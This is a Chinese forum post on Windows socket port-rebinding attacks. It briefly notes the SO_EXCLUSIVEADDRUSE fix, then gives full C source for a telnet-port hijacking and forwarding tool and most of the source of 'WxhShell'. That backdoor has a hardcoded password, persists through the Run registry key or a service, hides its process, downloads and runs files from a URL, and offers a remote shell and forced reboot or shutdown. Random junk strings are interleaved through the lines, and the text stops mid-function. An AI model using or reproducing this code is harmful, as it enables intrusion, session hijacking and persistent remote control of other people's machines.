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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Mtu8zm  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HM/ q B^  
;\h'A(  
  saddr.sin_family = AF_INET; 8g\.1<~  
#]rw@c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ab`Gb  
9 wc=B(a|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %llG/]q#  
l<5!R;?$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zC7;Zj*k  
Z\x6  
  这意味着什么?意味着可以进行如下的攻击: "'%x|nB  
xfb%bkr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ||qW'kNWM  
3hkA`YSYt  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]^!#0(  
,M9'S;&^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 m9/a!|fBE  
a.P^+h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  E)Dik`Ccl  
 m{~r6@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YV+e];s  
'?\Hm'8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bz1\EkLL  
@_;6 L  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uaiG (O   
fYwumx`J  
  #include pcE.  
  #include ;kY=}=9  
  #include TWy1)30x  
  #include    fy-( B;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   epQ7@9,Q  
  int main() yt?# T #  
  { X]N8'Yt  
  WORD wVersionRequested; Mf?4 `LM  
  DWORD ret; -Jb I7Le  
  WSADATA wsaData; >6Q-e$GS@  
  BOOL val; \o/oM,u  
  SOCKADDR_IN saddr; BJqM=<nQ  
  SOCKADDR_IN scaddr; hSxf;>(d  
  int err; 17-K~ybc  
  SOCKET s; mV-MJ$3r  
  SOCKET sc; xMe[/7)4  
  int caddsize; &4DWLI  
  HANDLE mt; <3i!{"}  
  DWORD tid;   gX[6WB"p  
  wVersionRequested = MAKEWORD( 2, 2 ); y<)x`&pcD  
  err = WSAStartup( wVersionRequested, &wsaData ); EM"YjC)F  
  if ( err != 0 ) { #6JG#!W  
  printf("error!WSAStartup failed!\n"); a}6Wo=  
  return -1; [K^RC;}nV^  
  } >scEdeM  
  saddr.sin_family = AF_INET; tYnNOK*|  
   V4|pZ]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 oC[$PPqX#  
'Ic$p>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'C(YUlT2?P  
  saddr.sin_port = htons(23); 6b@:La  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !y6 D+<k*]  
  { J:t1W=lJ3  
  printf("error!socket failed!\n"); 1|2X0Xm{  
  return -1; LcQ\d*  
  } xR$xAcoSB  
  val = TRUE; ZZ.GpB.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *\emRI>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  $///N+B  
  { f)>=.sp  
  printf("error!setsockopt failed!\n"); 5K,Y6I&$SJ  
  return -1; W}Z'zU?[  
  } d>2>mT$U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F;kNc:X`)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !iMsTH<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5@?P 8  
8xLvpgcZ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) leiP/D6s  
  { tv5SQ+AI3  
  ret=GetLastError(); L.>`;`dmY  
  printf("error!bind failed!\n"); G"wy?  
  return -1; 0Y{A  
  } yKi* 8N"e<  
  listen(s,2); ^dQ#\uy  
  while(1) $P>ci4]t  
  { 60Y&)UR  
  caddsize = sizeof(scaddr); gz8<&*2  
  //接受连接请求 ;'*"(F=D6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @Kp2l<P  
  if(sc!=INVALID_SOCKET) OXI.>9  
  { 4\>Cnc{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ig~lD>dnr'  
  if(mt==NULL) Ve<l7U;  
  { JW (.,Ztm  
  printf("Thread Creat Failed!\n"); >osY?9  
  break; +[ !K  
  } 5Osx__6$t  
  } -|T.APxB  
  CloseHandle(mt); u[})|x*N  
  } FgLV>#)-  
  closesocket(s); |.X?IJ`  
  WSACleanup(); 1Jt5|'tl  
  return 0; Eb[*nWF=  
  }   Tm qtj  
  DWORD WINAPI ClientThread(LPVOID lpParam) `|[Q]+Mx  
  { BZe x  
  SOCKET ss = (SOCKET)lpParam; h49|x&03  
  SOCKET sc; $o0o5 ^Z-  
  unsigned char buf[4096]; M#UW#+*g!  
  SOCKADDR_IN saddr; ) m[0,  
  long num; $)mK]57  
  DWORD val; ckS.j)@.c  
  DWORD ret; -m3 O\X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V^[o{'+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;~3CuN8  
  saddr.sin_family = AF_INET; 9ELLJ@oNC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 82{Lx7pI  
  saddr.sin_port = htons(23); CtfI&rb[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #3leMZ6  
  { >:WnCkbp  
  printf("error!socket failed!\n"); |\Nu+w   
  return -1; > X<pzD3u  
  } rLtB^?A z  
  val = 100; ,E<(K8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R_`i=>Z-  
  { `{#0C-  
  ret = GetLastError(); zuwlVn  
  return -1; vvwNJyU-  
  } )%I2#Q"Nt-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }KcvNK (  
  {  \9N1:  
  ret = GetLastError(); yHsmX2s  
  return -1; ,3=|a|p  
  } KEEHb2q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >+ul LQqe  
  { nkUSd}a`r  
  printf("error!socket connect failed!\n"); Cz` !j  
  closesocket(sc); p3`ND;KQ  
  closesocket(ss); 2r4owB?  
  return -1; h\k@7wgu  
  } c 2t<WRG  
  while(1) TCWy^8LA  
  { F jsnFX;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0Z $=2c?xT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 K-vG5t0$\/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cks53/Z  
  num = recv(ss,buf,4096,0);  rl"$6{Z}  
  if(num>0) $dIu${lu  
  send(sc,buf,num,0); >MwjUq  
  else if(num==0) 78T9"CS  
  break; I&%{%*y  
  num = recv(sc,buf,4096,0); V C$,Y  
  if(num>0) "^Y)&<J&  
  send(ss,buf,num,0); {}RE;5n\['  
  else if(num==0) PT4Wox9U  
  break; GG<{n$h  
  } g<(3wL,"  
  closesocket(ss); bk^W]<:z`  
  closesocket(sc); LX;w~fRr.  
  return 0 ; 5n{J}0C  
  } I6@98w}"  
;;;aM:6\  
>zx]% W  
========================================================== <+o*"z\mI  
1$mxMXNsJ  
下边附上一个代码,,WXhSHELL 'Km ~3t  
sxc^n aK0  
========================================================== 5G  @  
sF-{ (  
#include "stdafx.h" F<H[-k*t/  
Av6=q=D  
#include <stdio.h> 4j+FDc`  
#include <string.h> ])Rs.Y{Q5  
#include <windows.h> JWQd/  
#include <winsock2.h> 5yBaxw`  
#include <winsvc.h> qM}Uk3N0  
#include <urlmon.h> 3h N?l :/b  
Zcst$Aro  
#pragma comment (lib, "Ws2_32.lib")  =ie8{j2:  
#pragma comment (lib, "urlmon.lib") Lxz!>JO>  
gJ;jh7e@  
#define MAX_USER   100 // 最大客户端连接数 0oR'"Vo  
#define BUF_SOCK   200 // sock buffer IY_u|7d  
#define KEY_BUFF   255 // 输入 buffer RgTm^?Ex  
o^ Z/~N  
#define REBOOT     0   // 重启 v|~&I%S7  
#define SHUTDOWN   1   // 关机 ygI81\ D  
rFn%e  
#define DEF_PORT   5000 // 监听端口 ^<u9I5?  
"$P|!k45(  
#define REG_LEN     16   // 注册表键长度 gbf2ty  
#define SVC_LEN     80   // NT服务名长度 Yvmo%.oU  
Z/ w}so  
// 从dll定义API CcDmZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kD"BsL*6!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ly_@dsU'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "^gV.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hv. 33l  
$+'bRUo  
// wxhshell配置信息 lSW6\jX  
struct WSCFG { F"I{_yleq'  
  int ws_port;         // 监听端口 -O&u;kh4g  
  char ws_passstr[REG_LEN]; // 口令 V%|CCrR  
  int ws_autoins;       // 安装标记, 1=yes 0=no \Dn47V{7-  
  char ws_regname[REG_LEN]; // 注册表键名 "p Rr>Fa  
  char ws_svcname[REG_LEN]; // 服务名 `3wzOMgJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y&A0}>a:d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oY NIJXln  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }253Q!f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g<b(q|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [-Xz:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _Fc :<Ym?  
=@ SJyW  
}; yLFZo"r  
$RAS pM  
// default Wxhshell configuration $nf5bo/;  
struct WSCFG wscfg={DEF_PORT, X6h@K</c^:  
    "xuhuanlingzhe",  s*XE  
    1, WRdBL5  
    "Wxhshell", $~^Y4 } m  
    "Wxhshell", <t~RGn3  
            "WxhShell Service", nO;*Peob  
    "Wrsky Windows CmdShell Service", O\~/J/u <  
    "Please Input Your Password: ", ^k#.;Q#4  
  1, }^b7x;O|  
  "http://www.wrsky.com/wxhshell.exe", 5>S=f{ghFw  
  "Wxhshell.exe" Ire+r "am  
    }; xbTvv>'U  
Bm e_#  
// 消息定义模块 ?v5OUmFM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cu |S|]g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YZ0y_it)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \Ei(HmEU  
char *msg_ws_ext="\n\rExit."; bY@ S[  
char *msg_ws_end="\n\rQuit."; ;~^9$Z@%Q  
char *msg_ws_boot="\n\rReboot..."; JkfVsmc<{h  
char *msg_ws_poff="\n\rShutdown..."; j:Y1  
char *msg_ws_down="\n\rSave to "; dGc<{sQzB  
@gc|Z]CV  
char *msg_ws_err="\n\rErr!"; G d%X> ~  
char *msg_ws_ok="\n\rOK!"; B)L=)N  
&gv{LJd5b  
char ExeFile[MAX_PATH]; E\_Wpk  
int nUser = 0; Q:v9C ^7  
HANDLE handles[MAX_USER]; NT1"?Thx|  
int OsIsNt; {p90   
*X%dg$VcV  
SERVICE_STATUS       serviceStatus; H Z)an  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _x'?igy  
U@'F9UB`  
// 函数声明 HxE`"/~.7k  
int Install(void); Id(wY$C&>  
int Uninstall(void); HNMVs]/e  
int DownloadFile(char *sURL, SOCKET wsh); S7(Vc H  
int Boot(int flag); {J[5 {]Je[  
void HideProc(void); bdxmJ9a:R  
int GetOsVer(void); 7,v}Ap]Pa  
int Wxhshell(SOCKET wsl); e5z U`R  
void TalkWithClient(void *cs); ;)c 4  
int CmdShell(SOCKET sock); I k[{,p  
int StartFromService(void); RJ63"F $  
int StartWxhshell(LPSTR lpCmdLine); d*cAm$  
.[Hv/?L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <+r<3ZBA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g~/@`Z2Y  
$D%[}[2  
// 数据结构和表定义 ,suC`)R  
SERVICE_TABLE_ENTRY DispatchTable[] = s*3p*zf  
{ rn8#nQ>QZ%  
{wscfg.ws_svcname, NTServiceMain}, sI,S(VWor  
{NULL, NULL} x$gVEh*k  
}; v:xfGA nP  
Cju%CE3a  
// 自我安装 Jx-dWfe  
int Install(void) Z\ 1wEGP7{  
{ USrBi[_ci\  
  char svExeFile[MAX_PATH]; l,w$!FnmR  
  HKEY key; QPZ|C{Ce  
  strcpy(svExeFile,ExeFile); Vmb `%k20'  
p$+.]  
// 如果是win9x系统,修改注册表设为自启动 OZCbMeB{+J  
if(!OsIsNt) { IPTEOA<M[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q\I2lZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9FKowF_8  
  RegCloseKey(key); PKK18E}{%^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jn:9Cr,o;g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qiyX{J7Z  
  RegCloseKey(key); OtsW>L@ O(  
  return 0; }$wWX}@  
    } ==^9_a^  
  } +`p@md2L1  
} QKAt%"1&  
else { ?*K{1Ghf  
4\rwJD<  
// 如果是NT以上系统,安装为系统服务 M#'j7EMu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MmL)CT  
if (schSCManager!=0) m .':5  
{ uB*Y}"Fn  
  SC_HANDLE schService = CreateService up^D9(y\  
  ( S +mM S  
  schSCManager, P)k!#*  
  wscfg.ws_svcname, *y@Xm~ld  
  wscfg.ws_svcdisp, O)EA2`)E  
  SERVICE_ALL_ACCESS, %]iE(!>3oy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,JVWn>s  
  SERVICE_AUTO_START, AzlZe\V?)~  
  SERVICE_ERROR_NORMAL, g UAx8=h  
  svExeFile, %.nZ@';.  
  NULL, KhFw%Z0s<  
  NULL, gOSFvH8FU  
  NULL, 2*5]6B-(  
  NULL, *? <ygzX  
  NULL V W2+ Bs}  
  ); jSKhWxL;'  
  if (schService!=0) !h[xeLlU  
  { a%igc^GS2  
  CloseServiceHandle(schService); VAL]\@Q}  
  CloseServiceHandle(schSCManager); +C8yzMN\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~IhLjE  
  strcat(svExeFile,wscfg.ws_svcname); L&nqlH@+~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9cMQ51k)E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hALg5.E{T  
  RegCloseKey(key); Zk .V   
  return 0; +Dwq>3AH  
    } +yO^,{8SE  
  } dF#`_!4pbf  
  CloseServiceHandle(schSCManager); BJ,D1E  
} grWmF3c#  
} w /l\p3n  
xJemc3]2  
return 1; O3];1ud  
} 1Bl;.8he.)  
z<h?WsL  
// 自我卸载 ?mME^?x Mu  
int Uninstall(void) |9&bkojo  
{ R8(Bt73  
  HKEY key; +"8-)'  
Dmq_jt  
if(!OsIsNt) { ]@G$ L,3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 552U~t  
  RegDeleteValue(key,wscfg.ws_regname); vk>EFm8l  
  RegCloseKey(key); )i$:iI >k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D$&LCW#x  
  RegDeleteValue(key,wscfg.ws_regname); /jB 0  
  RegCloseKey(key); iFBH;O_~  
  return 0; /'<Qk'   
  } S9@2-Oc  
} ^{+,j}V_H  
}  !L|PDGD  
else { 7LZ A!3  
|OarE2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T^F9A55y  
if (schSCManager!=0) M tD{/.D>  
{ Ak=|wY{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q}(D^rGP3  
  if (schService!=0) ;"T,3JQPn6  
  { wrJ:jTh  
  if(DeleteService(schService)!=0) { <JkmJ/X  
  CloseServiceHandle(schService); Of?3|I3 l  
  CloseServiceHandle(schSCManager); }(-2a*Z;Y  
  return 0; |(Q !$  
  } .CY;-  
  CloseServiceHandle(schService); k'b'Ay(<  
  } TLWU7aj&!  
  CloseServiceHandle(schSCManager); IJzPWs5W:  
} >^|( AzS  
} AhauNS^"{R  
[/'=M h  
return 1; {CH *?|t  
} l+n0=^ Z  
/tqQAvj  
// 从指定url下载文件 f0Zn31c^  
int DownloadFile(char *sURL, SOCKET wsh) \-eDNwJ:#@  
{ ?x-:JME0  
  HRESULT hr; {DVu* %|  
char seps[]= "/"; H7&bUt/  
char *token; wz1fl#WU  
char *file; ^\Gukkmh}  
char myURL[MAX_PATH]; (w/)u  
char myFILE[MAX_PATH]; :0o,pndU  
Sn~h[s_(  
strcpy(myURL,sURL); sY*iRq  
  token=strtok(myURL,seps); ]Ac&h aAP  
  while(token!=NULL) -!JnyD   
  { \Ng|bWR>LQ  
    file=token; 3g''j7  
  token=strtok(NULL,seps); =, WW#tD  
  } _`LQnRp(  
tLc 9-  
GetCurrentDirectory(MAX_PATH,myFILE); =xX)2h  
strcat(myFILE, "\\"); blHJhB&8  
strcat(myFILE, file); #OE]'k Ss  
  send(wsh,myFILE,strlen(myFILE),0); #\LsM ~,  
send(wsh,"...",3,0); rh+2 7"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L,PD4H"8  
  if(hr==S_OK) lemE/(`a_  
return 0; l$mfsm|{:  
else SIr^\iiOB  
return 1; B33H,e)  
!W?6,i-]  
} =bDy :yY}  
}2CVA.Qm!  
// 系统电源模块 Th%2pwvER  
int Boot(int flag) OEwKT7CX  
{ D qh rg;  
  HANDLE hToken; 6 OLp x)fG  
  TOKEN_PRIVILEGES tkp; x+B7r& #:  
)xPfz  
  if(OsIsNt) { "1X@t'H38  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gI5"\"T{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IP3%'2}-  
    tkp.PrivilegeCount = 1; B+Ox#[<75  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C_q@ixF{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B4d\4S_r%  
if(flag==REBOOT) { NL7CeHs5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _Vl22'wl  
  return 0; WY3D.z-</  
} yWkg4  
else { mO|YX/>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p%?m|(4f  
  return 0; co-dq\P  
} :i8B'|DN5  
  } y/d/#}\:  
  else { g[ dI%  
if(flag==REBOOT) { kEr; p{5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,'0Zd(s  
  return 0; !caY  
} )~CnDk}^R  
else { jXCSD@?]K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {=)g?!zC  
  return 0; :,]*~Nl  
} D <SLv,Y  
} CQGq}.Jt!  
Q`* v|Lp  
return 1; U 4Sxr  
} hCvK2Xu   
\u@*FTS  
// win9x进程隐藏模块 dnXre*rhz  
void HideProc(void) wx2 EMr   
{ ~[H+,+XLY+  
Fu;\t 0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7%g8&d  
  if ( hKernel != NULL ) B>=NE.ulUL  
  { x;; =+)Gg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _t'S<jTI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $wq[W,'#L  
    FreeLibrary(hKernel); Q#a<T4l  
  } :l/?cV;  
g(`m#&P>G  
return; Q^c)T>OAI  
} LFHzd@Y7"  
5UU1HC;C  
// 获取操作系统版本 YA,vT[kX  
int GetOsVer(void) <!m'xOD  
{ E]<Ce;Vj  
  OSVERSIONINFO winfo; l%^VBv> 2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0[SJ7k19  
  GetVersionEx(&winfo); S.Rqu+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oMNgyAp^  
  return 1;  +?I 1Og  
  else { t1|6R0  
  return 0; dY6A)[dAH'  
} ^S]-7>Yyr  
hnf7Q l}  
// 客户端句柄模块 4x;vn8 yh  
int Wxhshell(SOCKET wsl) Cvk n2T  
{ 6~#$bp^-  
  SOCKET wsh; gqCDF H  
  struct sockaddr_in client; czH`a=mjH  
  DWORD myID; &Ub0o2+y  
Nd] w I|>  
  while(nUser<MAX_USER) }/cMG/%  
{ ~l SdWUk>  
  int nSize=sizeof(client); uOU?-WtPz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); miCW(mbO8  
  if(wsh==INVALID_SOCKET) return 1; )4@La&  
|4lrVYG^K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "B 9aJo  
if(handles[nUser]==0) l{u2W$8  
  closesocket(wsh); 1+0DTqWz  
else >^\}"dEvr  
  nUser++; BEfp3|Stb  
  } .NOh[68'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C~PoC'"q  
b{WEux{)  
  return 0; Gs7#W:e7  
} Ivdg1X  
7 g2@RKo  
// 关闭 socket tOQura  
void CloseIt(SOCKET wsh) |}YeQl  
{ p l.D h  
closesocket(wsh); cI g|sn  
nUser--; q)Uh_l.Cj  
ExitThread(0); [`'[)B  
} L4wKG&  
p=-:Z?EW1  
// 客户端请求句柄 QL{{GQ_dn  
void TalkWithClient(void *cs) v\;hI5WY  
{ h4\j=Np  
O F|3y~z  
  SOCKET wsh=(SOCKET)cs; #^Io9dA h  
  char pwd[SVC_LEN]; L(Ffa(i  
  char cmd[KEY_BUFF]; k%[pZ 5.!  
char chr[1]; |` +G7?)Y  
int i,j; 7G^`'oZ  
c(tX761qz  
  while (nUser < MAX_USER) { E@%X  
w)u6J ,  
if(wscfg.ws_passstr) { D-GIrw{>5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bOKgR{i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y66V&#`,e0  
  //ZeroMemory(pwd,KEY_BUFF); F_ Cp,  
      i=0; 5*#!w1X  
  while(i<SVC_LEN) { E$w2S Q  
9iWs'M  
  // 设置超时  b}eBy  
  fd_set FdRead; ?mjQN|D  
  struct timeval TimeOut; k OycS  
  FD_ZERO(&FdRead); :vqfWK6mv  
  FD_SET(wsh,&FdRead); q_sQC5:s  
  TimeOut.tv_sec=8; AzwG_XgM)  
  TimeOut.tv_usec=0; ML|O2e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pP`KI'aUN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^9g+\W  
.@(+.G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sdWu6?B_  
  pwd=chr[0]; :mpR}.^hv  
  if(chr[0]==0xd || chr[0]==0xa) { [nBdq"K  
  pwd=0; !x, ;&  
  break; /<\B8^yQ  
  } tCw.wDq3=  
  i++; Tn'_{@E;  
    } Gxj3/&]^Y  
13X0LN  
  // 如果是非法用户,关闭 socket 3Xun>ZQ-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s?j` _ B  
} C6-71 `C0  
.%iJin"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~qk5Mk4$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~sd+ch*  
H /kSFf{  
while(1) { +Je(]b @  
5,pKv  
  ZeroMemory(cmd,KEY_BUFF); :Ur=}@Dj  
3*DwXH+  
      // 自动支持客户端 telnet标准   `k>h2(@9S  
  j=0; cjd Z.jR2  
  while(j<KEY_BUFF) { ylEQeN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DKcg  
  cmd[j]=chr[0]; \8I>^4t'/  
  if(chr[0]==0xa || chr[0]==0xd) { C9`J6Uu  
  cmd[j]=0; K1F,M9 0]  
  break; &?-LL{W{  
  } 7xmyjy%c  
  j++; vw'`t6  
    } ?-"%%#  
n$ri:~s  
  // 下载文件 7:Jyu/*]  
  if(strstr(cmd,"http://")) { -]uN16\ F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?&H1C4   
  if(DownloadFile(cmd,wsh)) Mk*&CNo3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zv`j+b  
  else $SP*hkU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jf_0IE  
  } e2SU)Tr%b  
  else { J5J$qCJq  
}Z|uLXaz  
    switch(cmd[0]) { xKKR'v:o\  
  Or0eY#c  
  // 帮助 :OF:(,J  
  case '?': {  QTN _Z#'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g' xR$6t  
    break; q=M\#MlL0'  
  } /<HEcB  
  // 安装 Y[A`r0  
  case 'i': { 6Q&*V7EO  
    if(Install()) m]1= o7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S<hj6A  
    else rb/m;8v>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0]F'k8yLN  
    break; C3H q&TVf/  
    } :?Xd&u0){  
  // 卸载 5 W<\J  
  case 'r': { x<0-'EF/S  
    if(Uninstall()) G%a8'3d,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kH!I&4d&  
    else _d8k[HAJ|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iXN7+QO)  
    break; [w%MECTe  
    } 8-N8v *0  
  // 显示 wxhshell 所在路径 RaK fYLw  
  case 'p': { 4{:W5eT!/  
    char svExeFile[MAX_PATH]; $II[b-X?S  
    strcpy(svExeFile,"\n\r"); /\%K7\  
      strcat(svExeFile,ExeFile); Q]';1#J\  
        send(wsh,svExeFile,strlen(svExeFile),0); H$^b.5K  
    break; 9I a4PPEH1  
    } +TzF*Np  
  // 重启 |P_\l,f8`  
  case 'b': { xZ51iD $  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [e2sUO0~r  
    if(Boot(REBOOT)) ;CU<\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *0 ;DCUv  
    else { -%&_LE9ZtS  
    closesocket(wsh); -fl?G%:(!0  
    ExitThread(0); FtUOgL)|  
    } &S}i)Nu6J  
